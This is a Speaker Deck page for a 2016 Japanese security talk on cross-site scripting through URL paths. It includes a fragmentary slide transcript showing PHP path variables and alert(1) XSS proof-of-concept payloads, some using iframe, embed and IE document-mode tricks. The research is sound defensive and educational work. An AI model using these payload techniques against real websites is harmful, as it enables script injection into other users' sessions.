Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Speaker Deck
PRO
Sign in
Sign up for free
明日から使える?! PATHでXSSする技術/ Shibuya.XSS techtalk #7
Masato Kinugawa
March 29, 2016
Technology
14
23k
明日から使える?! PATHでXSSする技術/ Shibuya.XSS techtalk #7
Shibuya.XSS techtalk #7 の資料です。
Masato Kinugawa
March 29, 2016
Tweet
Share
More Decks by Masato Kinugawa
See All by Masato Kinugawa
JSでDoSる/ Shibuya.XSS techtalk #11
masatokinugawa
21
5.5k
Electron: Abusing the lack of context isolation - CureCon(en)
masatokinugawa
5
78k
Electron: Context Isolationの欠如を利用した任意コード実行 / Electron: Abusing the lack of context isolation - CureCon(ja)
masatokinugawa
9
16k
バグハンターが見てきたBug Bountyの7年 / LINE Developer Meetup #34 Security Bug Bounty
masatokinugawa
18
11k
5文字で書くJavaScript/ Shibuya.XSS techtalk #10
masatokinugawa
35
18k
ブラウザのUIのバグを探す / Secusoba PopUnder
masatokinugawa
2
1.5k
攻撃者視点で見る Service Worker / PWA Study SW
masatokinugawa
20
23k
USAGE OF XSS FILTER
masatokinugawa
4
2.3k
XSSフィルターの使い方/ Shibuya.XSS techtalk #9
masatokinugawa
7
2.4k
Other Decks in Technology
See All in Technology
[AKIBA.AWS] それ、t2.micro選んで大丈夫?
tsukuboshi
0
380
Kubernetesの上に作る、統一されたマイクロサービス運用体験
tkuchiki
1
1.3k
アルプでのAgile Testing / Alp Agile Testing
nametake
0
330
テスト自動化の成功を支えるチームと仕組み/TestAutomation
goyoki
2
410
5分で完全理解するGoのiota
uji
3
2.1k
信頼性の階層の一段目を積み上げる/Monitoring Dashboard
shonansurvivors
0
180
CTOのためのQAのつくりかた #scrumniigata / SigSQA How to create QA for CTOs and VPoEs
caori_t
0
360
プロダクション環境の信頼性を損ねず観測する技術
egmc
4
850
Kubernetesでハマるメタバースとエッジで夢見る世界観
yudaiono
0
100
tfcon-2022-cpp
cpp
5
5.2k
OSS ことはじめ
hsbt
3
590
Steps toward self-service operations in eureka
fukubaka0825
0
980
Featured
See All Featured
Visualization
eitanlees
124
11k
Code Reviewing Like a Champion
maltzj
506
37k
How To Stay Up To Date on Web Technology
chriscoyier
780
250k
Why Our Code Smells
bkeepers
PRO
324
54k
Gamification - CAS2011
davidbonilla
75
3.9k
Teambox: Starting and Learning
jrom
121
7.6k
実際に使うSQLの書き方 徹底解説 / pgcon21j-tutorial
soudai
38
12k
Typedesign – Prime Four
hannesfritz
33
1.3k
The Cult of Friendly URLs
andyhume
68
4.7k
The Success of Rails: Ensuring Growth for the Next 100 Years
eileencodes
3
630
Design and Strategy: How to Deal with People Who Don’t "Get" Design
morganepeng
103
16k
Product Roadmaps are Hard
iamctodd
34
6.1k
Transcript
None
None
None
None
None
https://host/tags/aaa/ ... </head> <body> <form> <input type="text" value="aaa"> ...
... </head> <meta property="og:url" content="https://host/path/index"> <body> ... https://host/path/index?p=1
... </head> <meta property="og:url" content="https://host/path/index;aaa"> <body> ... https://host/path/index;aaa?p=1
None
http://php.net/index.php http://php.net/index.php/xxx/yyy/zzz
http://shibuyaxss.connpass.com/event/28232/ http://shibuyaxss.connpass.com/event/28232/;abc
None
SCRIPT_URL /test.php/<b>PATH</b> SCRIPT_URI http://localhost/test.php/<b>PATH</b> PATH_INFO /<b>PATH</b> PATH_TRANSLATED \<b>PATH<\b> PHP_SELF /test.php/<b>PATH</b>
GET /path?query HTTP/1.1 http://php.net/manual/ja/reserved.variables.server.php
/test.php/<b>PATH</b>?<b>QUERY</b> GET /test.php/%3Cb%3EPATH%3C/b%3E?%3Cb%3EQUERY% 3C/b%3E HTTP/1.1 QUERY_STRING %3Cb%3EQUERY%3C/b%3E REQUEST_URI /test.php/%3Cb%3EPATH%3C/b%3E? %3Cb%3EQUERY%3C/b%3E
http://localhost/test.php/<b>PATH</b>?<b>QUERY</b>
/test.php/%3Cb%3EPATH%3C/b%3E?<b>QUERY</b> GET /test.php/%3Cb%3EPATH%3C/b%3E?<b>QUERY</b> HTTP/1.1 QUERY_STRING <b>QUERY</b> REQUEST_URI /test.php/%3Cb%3EPATH%3C/b%3E?<b>QUERY</b> http://localhost/test.php/<b>PATH</b>?<b>QUERY</b>
http://localhost/test.php/<b>PATH</b> GET /test.php/<b>PATH</b> HTTP/1.1
/test.php/%3Cb%3EPATH%3C/b%3E GET /test.php/<b>PATH</b> HTTP/1.1 REQUEST_URI /test.php/<b>PATH</b> location.pathname /test.php/%3Cb%3EPATH%3C/b%3E http://localhost/test.php/<b>PATH</b>
None
None
None
None
None
None
None
None
None
None
None
None
None
None
None
HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 X-UA-Compatible: IE=9 <head> <meta
http-equiv="X-UA-Compatible" content="IE=9"> </head>
<svg> <circle cx="100" cy="100" r="50" fill="red"/> </svg>
ifr=document.createElement('<iframe onload=alert(1)>'); document.body.appendChild(ifr); InvalidCharacterError
<meta http-equiv="X-UA-Compatible" content="IE=9"> <script> console.log(document.documentMode) /* 9 */ </script> <iframe
src=//victim/></iframe> http://blogs.msdn.com/cfs-filesystemfile.ashx/__key/communityserver-blogs-components- weblogfiles/00-00-01-35-07/3073.IE_5F00_chart_5F00_jp.pdf
<meta http-equiv="X-UA-Compatible" content="IE=9"> <embed src="http://shibuya.vulnerabledoma.in/javascript:alert(1)/% 2F..%2F..%2Fjizen2#hash"></embed>
<script src="//ajax.googleapis.com/ajax/libs/jquerymobile/1.4.5/jquery.mobile.min.js"> </script>
None
None
None
None
None
None
None
None
None
None
None
None
None